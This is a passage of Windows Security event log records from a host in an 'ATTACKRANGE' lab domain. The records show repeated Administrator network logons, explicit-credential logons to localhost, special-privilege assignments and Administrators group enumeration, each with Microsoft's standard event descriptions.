			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245423
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9BEBD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245422
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245421
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245420
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9ABA9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245419
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9ABA9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245418
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9ABA9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245417
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245416
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245415
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A7D7

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245414
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A7D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245413
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245412
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245411
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245410
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A2EB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245409
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A2EB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245408
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245407
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245406
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A21E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245405
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x995CC

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245404
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A21E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245403
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x9A21E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245402
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245401
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=245400
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x41c
	Process Name:		C:\Windows\System32\svchost.exe
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245399
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x995CC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245398
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x995CC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245397
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245396
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	EC2AMAZ-JQSN6NR
Error Code:	0x0
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logoff
OpCode=Info
RecordNumber=245395
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x986A2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245394
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98C4F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:37:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245393
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		EC2AMAZ-JQSN6NR
	Logon ID:		0x98C4F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x550
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	EC2AMAZ-JQSN6NR
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

